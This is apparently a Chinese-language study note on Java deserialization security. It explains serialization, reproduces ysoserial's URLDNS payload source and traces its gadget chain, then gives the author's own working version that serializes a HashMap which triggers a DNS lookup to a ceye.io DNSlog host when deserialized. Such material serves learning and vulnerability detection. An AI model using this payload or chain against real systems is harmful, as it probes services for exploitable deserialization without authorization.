JAVA安全已经学习了一段时间,到现在算是刚学完一些SE基础包括一些JSP基础。接下来一段时间开始学习JAVA反序列化。
什么是反序列化?
在说什么是反序列化之前,首先要理解什么是序列化?为什么要序列化?
什么是序列化?
我的理解就是要将一个对象持久性保存,或者传输到另外的虚拟机上,这时候需要将一个对象以固定的格式转换成可以存储在硬盘上的状态,这个过程就是序列化。
为什么要序列化?
比如一个Web应用数十万甚至上百万的用户同时在线的时候,每个用户都会有一个Session,同时把这么多Session都保存在内存中是不现实的,所以这时候需要将一部分Session序列化后保存到存储中,当需要用的时候在将保存在存储的数据读入内存。
反序列化
知道了什么是序列化,反序列化顾名思义就是序列化的反过程。序列化的时候将对象转换成一个字节序列,反序列化就是通过这个字节序列还原出之前的对象过程。
只要对象实现了Serializable接口(该接口仅是一个标记接口,不包括任何方法),对象的序列化处理就会非常简单。
要序列化一个对象,首先要创建某些OutputStream对象,然后将其封装在一个ObjectOutputStream对象内。这时只需调用WriteObject()即可将对象序列化,并将其发送给OutputStream。要反向进行该过程,需要将一个InputStream封装在ObjectInputStream内,然后调用readObject()。
代码实现
默认情况下,想要被序列化的类只需要实现Serializable接口就可以了,这个接口是一个标记接口,不包括任何方法,所以只要在类定义中实现该方法就可以了,其他的什么都不用做。
但是如果想在序列化中自己定制一些操作,可以为你的类添加如下两个类:
private void writeObject(ObjectOutputStream stream) throws IOException;
private void readObject(ObjectInputStream stream)throws IOException,ClassNotFoundException;
这样在你的类序列化的时候将会调用wirteObject方法,反序列化的时候会调用readObject方法。
还有另外一个技巧,在这两个方法内部,可以调用defaultWriteObject()或者defaultReadObject()方法来执行默认的操作。
以下代码来用来演示一次常规序列化。
package serialize;
import java.io.*;
/**
* Created by Gat1ta on 2022/1/8.
*/
class SeriClass implements Serializable
{
String test = "SeriClass print";
private void writeObject(ObjectOutputStream stream) throws IOException
{
System.out.println("SeriClass serialize");
stream.defaultWriteObject();
}
private void readObject(ObjectInputStream stream) throws IOException,ClassNotFoundException
{
System.out.println("SeriClass unserialize");
stream.defaultReadObject();
}
public void print()
{
System.out.println(test);
}
}
public class seri1 {
public static void serialize() throws Exception
{
SeriClass ob = new SeriClass();
FileOutputStream fileOut = new FileOutputStream("ser1");
ObjectOutputStream obOut = new ObjectOutputStream(fileOut);
obOut.writeObject(ob);
obOut.close();
fileOut.close();
}
public static void unserialize() throws Exception
{
FileInputStream fileOut = new FileInputStream("ser1");
ObjectInputStream obOut = new ObjectInputStream(fileOut);
SeriClass ob = (SeriClass) obOut.readObject();
ob.print();
obOut.close();
fileOut.close();
}
public static void main(String[] args) throws Exception
{
serialize();
unserialize();
}
}
执行以上代码,会发现控制台输出了以下内容:
SeriClass serialize
SeriClass unserialize
SeriClass print
这代表以上代码将SeriClass实例化的对象序列化保存到了文件中,然后又从文件中反序列化了这个对象,然后调用了这个对象的print方法。
反序列化的安全问题
在上面我们简单了解了序列化与反序列化,并且用代码实现了它,但是反序列化的安全问题在哪里呢?
Java的序列化和反序列化主要是 writeObject和readObject函数,Java允许开发者对readObject进行功能的补充,所以在反序列化过程中如果开发者重写了readObject方法那么Java会优先使用这个重写的方法,所以如果开发者书写不当的话就会导致命令执行。
打开我们之前代码序列化的对象文件,可以看到是一些乱码:
�� sr serialize.SeriClass�K[y�g�# L testt Ljava/lang/String;xpt SeriClass printx
因为每个语言都有自己的序列化规则,java的序列化方式不适用于用文本方式查看。
可以使用SerializationDumper工具查看。
红框里从上到下依次是类名、类成员名、和类成员的值,可以看出,类中的方法并没有被序列化。
通过控制类名、可以指定反序列化的类,通过控制变量的值,就可以影响代码执行流程。然后按照我们的期望,将这些“影响”连接在一起,就可以控制代码的执行。
ysoserial
在说起反序列化漏洞利用链之前,先来了解一下ysoserial这个工具:
ysoserial是一款用于生成利用不安全的Java对象反序列化的有效负载的概念验证工具。
项目地址:https://github.com/frohoff/ysoserial
ysoserial是在常见 Java 库中发现的实用程序和面向属性的编程“小工具链”的集合,可以在适当的条件下利用 Java 应用程序执行不安全的对象反序列化。
ysoserial包含了至今公开的所有反序列化利用链,可以通过看它的源码,来学习java反序列化利用链。
URLDNS 利用链
URLDNS是ysoserial中比较简单的一个链,由于URLDNS不需要依赖第三方的包,同时不限制jdk的版本,并且URLDNS并不能执行命令,只能发送DNS请求,所以通常用于检测反序列化的点。
首先在ysoserial.src.main.java.ysoserial.payload.URLDNS.java中找到payload代码:
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
代码并不多,下面来分析一下。
利用链分析
通过main方法的代码可以看到,首先调用了PayloadRunner.run方法:
通过代码可以看到,run方法会通过getObject方法来获得要序列化的对象,然后将对象序列化之后返回字节序列。
所以回头看getObject方法可以发现,这个方法返回的是一个Hashmap对象,说明这个对象就是要反序列化的对象。
之前介绍时说过,反序列化会调用对象的readObject方法,所以我们直接从readObject开始分析:
前面的操作不是我们关注的点,重点在hash(key)这里,跟进去看看:
可以看到,如果key不等于null,就会调用key.hashcode方法。这时候接下来操作如何就要看hashmap中保存的key是什么了。通过getObject方法中的代码可以看到,代码中传入了一个URL对象,所以接下来就要看URL类中的hashcode方法:
通过代码可以看出,首先判断了一下对象成员hashCode是否等于-1,如果不等于-1就直接返回hashcode的值。如果等于-1则执行handler.hashCode(this);
接下来继续跟下去,看看handler是什么对象:
可以看出,handler是URLStreamHandler对象,接下来继续看一下URLStreamHandler类中hashCode方法的定义:
可以看到,这个方法调用了getHostAddress,继续跟下去:
可以看到,首先根据URL获取域名,然后根据域名来解析成IP地址。在网络上就是一次DNS解析,这就可以通过DNSLOG这种第三方平台来验证是否存在反序列化漏洞了。
完整代码分析
分析完利用链,发现ysoserial除了必要的操作还有一些其他的代码,研究了一下发现是因为调用Put方法向hashmap中存放数据的时候,这个put方法也调用了hash(key)方法:
所以这样就会造成两次DNS解析。
于是ysoserial自己定义了一个继承自URLStreamHandler类的SilentURLStreamHandler类,并且重写了getHostAddress和openConnection方法,在初始化URL对象的时候将SilentURLStreamHandler的对象传进去。
然后在URL的构造方法中会将我们的对象赋值为this.handler。
这样在调用put方法的时候,执行到handler.hashCode(this)的时候就不会触发DNS解析。
代码验证
分析完利用链,现在来写代码验证一下。ysoserial不方便直接调试,所以我们吧代码复制出来自己改改,最终代码如下:
public class URLDNS {
public static void serialize(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL("http://urldns.km0q00.ceye.io"); // URL to use as the Key
Class cla = u.getClass();
Field fd = cla.getDeclaredField("hashCode");
fd.setAccessible(true);
fd.set(u,111);
ht.put(u,url);
fd.set(u,-1);
FileOutputStream fileOut = new FileOutputStream("URLDNS");
ObjectOutputStream obOut = new ObjectOutputStream(fileOut);
obOut.writeObject(ht);
obOut.close();
fileOut.close();
}
public static void unserialize() throws Exception
{
FileInputStream fileOut = new FileInputStream("URLDNS");
ObjectInputStream obOut = new ObjectInputStream(fileOut);
HashMap ob = (HashMap) obOut.readObject();
obOut.close();
fileOut.close();
}
public static void main(String[] args) throws Exception
{
serialize("url");
unserialize();
}
}
需要注意一下,设置hashcode的时候需要在put到容器之后,因为在put的过程中也会触发一次DNS解析,并且会重置hashcode,代码如下:
代码执行完之后去服务器上看一下结果如下:
不知道为啥执行一次代码会有好几次解析记录,不知道为啥。